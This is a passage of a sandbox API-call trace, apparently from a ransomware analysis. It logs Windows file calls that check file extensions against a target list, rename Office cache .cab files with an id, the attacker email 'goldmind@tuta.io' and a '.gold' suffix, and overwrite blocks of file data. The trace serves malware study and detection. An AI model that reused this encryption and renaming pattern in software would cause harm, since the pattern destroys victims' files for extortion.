lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0043.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0043.856] lstrlenW (lpString=".doc") returned 4 [0043.856] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0043.856] lstrlenW (lpString=".docx") returned 5 [0043.856] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0043.856] lstrlenW (lpString=".pdf") returned 4 [0043.856] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0043.856] lstrlenW (lpString=".xls") returned 4 [0043.856] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0043.856] lstrlenW (lpString=".xlsx") returned 5 [0043.856] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0043.856] lstrlenW (lpString=".ppt") returned 4 [0043.856] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0043.856] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0043.856] lstrlenW (lpString=".zip") returned 4 [0043.856] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0043.857] lstrlenW (lpString=".rar") returned 4 [0043.857] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0043.857] lstrlenW (lpString=".bz2") returned 4 [0043.857] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0043.857] lstrlenW (lpString=".7z") returned 3 [0043.857] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0043.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0043.857] lstrlenW (lpString=".dbf") returned 4 [0043.857] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0043.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0043.857] lstrlenW (lpString=".1cd") returned 4 [0043.857] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0043.857] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0043.857] lstrlenW (lpString=".jpg") returned 4 [0043.857] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0043.857] lstrcmpiW (lpString1=".cab", lpString2=".gold") returned -1 [0043.857] lstrlenW (lpString="ProPrWW2.cab") returned 12 [0043.857] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0044.187] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=222948913) returned 1 [0044.187] CloseHandle (hObject=0x18c) returned 1 [0044.188] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab")) returned 0x2020 [0044.188] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.188] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0044.188] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0044.188] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0044.188] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0044.189] ReadFile (in: hFile=0x18c, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.196] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0044.196] ReadFile (in: hFile=0x18c, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.200] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.200] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0044.201] ReadFile (in: hFile=0x18c, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.216] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0044.216] WriteFile (in: hFile=0x18c, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0044.229] SetEndOfFile (hFile=0x18c) returned 1 [0044.229] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f74098 [0044.231] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0044.231] WriteFile (in: hFile=0x18c, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.232] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0044.232] WriteFile (in: hFile=0x18c, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.401] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0044.401] WriteFile (in: hFile=0x18c, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.403] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f74098 | out: hHeap=0x880000) returned 1 [0044.405] CloseHandle (hObject=0x18c) returned 1 [0044.405] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0044.405] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0044.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0044.406] lstrlenW (lpString=".doc") returned 4 [0044.406] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.406] lstrlenW (lpString=".docx") returned 5 [0044.406] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0044.406] lstrlenW (lpString=".pdf") returned 4 [0044.406] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.406] lstrlenW (lpString=".xls") returned 4 [0044.406] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.406] lstrlenW (lpString=".xlsx") returned 5 [0044.406] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0044.406] lstrlenW (lpString=".ppt") returned 4 [0044.406] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0044.406] lstrlenW (lpString=".zip") returned 4 [0044.406] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.406] lstrlenW (lpString=".rar") returned 4 [0044.406] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.406] lstrlenW (lpString=".bz2") returned 4 [0044.406] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.406] lstrlenW (lpString=".7z") returned 3 [0044.406] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0044.406] lstrlenW (lpString=".dbf") returned 4 [0044.406] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0044.406] lstrlenW (lpString=".1cd") returned 4 [0044.406] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0044.406] lstrlenW (lpString=".jpg") returned 4 [0044.406] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0044.406] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0044.406] lstrlenW (lpString=".doc") returned 4 [0044.406] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.406] lstrlenW (lpString=".docx") returned 5 [0044.406] lstrcmpiW (lpString1=".docx", lpString2="2.cab") returned -1 [0044.406] lstrlenW (lpString=".pdf") returned 4 [0044.406] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.406] lstrlenW (lpString=".xls") returned 4 [0044.406] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.406] lstrlenW (lpString=".xlsx") returned 5 [0044.406] lstrcmpiW (lpString1=".xlsx", lpString2="2.cab") returned -1 [0044.406] lstrlenW (lpString=".ppt") returned 4 [0044.407] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0044.407] lstrlenW (lpString=".zip") returned 4 [0044.407] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.407] lstrlenW (lpString=".rar") returned 4 [0044.407] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.407] lstrlenW (lpString=".bz2") returned 4 [0044.407] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.407] lstrlenW (lpString=".7z") returned 3 [0044.407] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0044.407] lstrlenW (lpString=".dbf") returned 4 [0044.407] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0044.407] lstrlenW (lpString=".1cd") returned 4 [0044.407] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.407] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab") returned 75 [0044.407] lstrlenW (lpString=".jpg") returned 4 [0044.407] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.407] lstrcmpiW (lpString1=".cab", lpString2=".gold") returned -1 [0044.407] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0044.407] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0044.533] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=36233052) returned 1 [0044.533] CloseHandle (hObject=0x210) returned 1 [0044.536] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0044.536] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0044.537] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0044.542] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0044.542] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0044.542] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0044.542] ReadFile (in: hFile=0x1f4, lpBuffer=0x3da0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3da0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.545] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0044.545] ReadFile (in: hFile=0x1f4, lpBuffer=0x3de0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3de0058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.549] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0044.549] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0044.549] ReadFile (in: hFile=0x1f4, lpBuffer=0x3e20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x32afc38, lpOverlapped=0x0 | out: lpBuffer=0x3e20058*, lpNumberOfBytesRead=0x32afc38*=0x40000, lpOverlapped=0x0) returned 1 [0044.565] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afec8 | out: lpNewFilePointer=0x0) returned 1 [0044.565] WriteFile (in: hFile=0x1f4, lpBuffer=0x3da0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x32afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3da0020*, lpNumberOfBytesWritten=0x32afcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0044.705] SetEndOfFile (hFile=0x1f4) returned 1 [0044.705] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x40000) returned 0x3f74098 [0044.760] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0044.760] WriteFile (in: hFile=0x1f4, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.761] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0044.761] WriteFile (in: hFile=0x1f4, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.761] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x32afc7c | out: lpNewFilePointer=0x0) returned 1 [0044.761] WriteFile (in: hFile=0x1f4, lpBuffer=0x3f74098*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x32afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f74098*, lpNumberOfBytesWritten=0x32afc88*=0x40000, lpOverlapped=0x0) returned 1 [0044.763] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f74098 | out: hHeap=0x880000) returned 1 [0044.765] CloseHandle (hObject=0x1f4) returned 1 [0044.931] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x2020) returned 1 [0044.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.931] lstrlenW (lpString=".doc") returned 4 [0044.931] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.931] lstrlenW (lpString=".docx") returned 5 [0044.931] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0044.931] lstrlenW (lpString=".pdf") returned 4 [0044.931] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.931] lstrlenW (lpString=".xls") returned 4 [0044.931] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.931] lstrlenW (lpString=".xlsx") returned 5 [0044.931] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0044.931] lstrlenW (lpString=".ppt") returned 4 [0044.931] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.931] lstrlenW (lpString=".zip") returned 4 [0044.931] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.931] lstrlenW (lpString=".rar") returned 4 [0044.931] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.931] lstrlenW (lpString=".bz2") returned 4 [0044.931] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.931] lstrlenW (lpString=".7z") returned 3 [0044.931] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.931] lstrlenW (lpString=".dbf") returned 4 [0044.931] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.931] lstrlenW (lpString=".1cd") returned 4 [0044.931] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.931] lstrlenW (lpString=".jpg") returned 4 [0044.931] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.931] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.932] lstrlenW (lpString=".doc") returned 4 [0044.932] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0044.932] lstrlenW (lpString=".docx") returned 5 [0044.932] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0044.932] lstrlenW (lpString=".pdf") returned 4 [0044.932] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0044.932] lstrlenW (lpString=".xls") returned 4 [0044.932] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0044.932] lstrlenW (lpString=".xlsx") returned 5 [0044.932] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0044.932] lstrlenW (lpString=".ppt") returned 4 [0044.932] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0044.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.932] lstrlenW (lpString=".zip") returned 4 [0044.932] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0044.932] lstrlenW (lpString=".rar") returned 4 [0044.932] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0044.932] lstrlenW (lpString=".bz2") returned 4 [0044.932] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0044.932] lstrlenW (lpString=".7z") returned 3 [0044.932] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0044.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.932] lstrlenW (lpString=".dbf") returned 4 [0044.932] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0044.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.932] lstrlenW (lpString=".1cd") returned 4 [0044.932] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0044.932] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0044.932] lstrlenW (lpString=".jpg") returned 4 [0044.932] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0044.932] lstrcmpiW (lpString1=".cab", lpString2=".gold") returned -1 [0044.932] lstrlenW (lpString="PrjPrrWW.cab") returned 12 [0044.932] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0045.185] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x32aff1c | out: lpFileSize=0x32aff1c*=162970271) returned 1 [0045.185] CloseHandle (hObject=0x168) returned 1 [0045.185] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab")) returned 0x2020 [0045.185] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0045.185] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[goldmind@tuta.io].gold")) returned 1 [0045.185] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\PrjPrrWW.cab.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\prjprrww.cab.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0045.185] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc6c | out: lpNewFilePointer=0x0) returned 1 [0045.185] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32afc2c | out: lpNewFilePointer=0x0) returned 1 [0045.185] ReadFile (in: hFile=0x168, lpBuffer=0x3da0058, 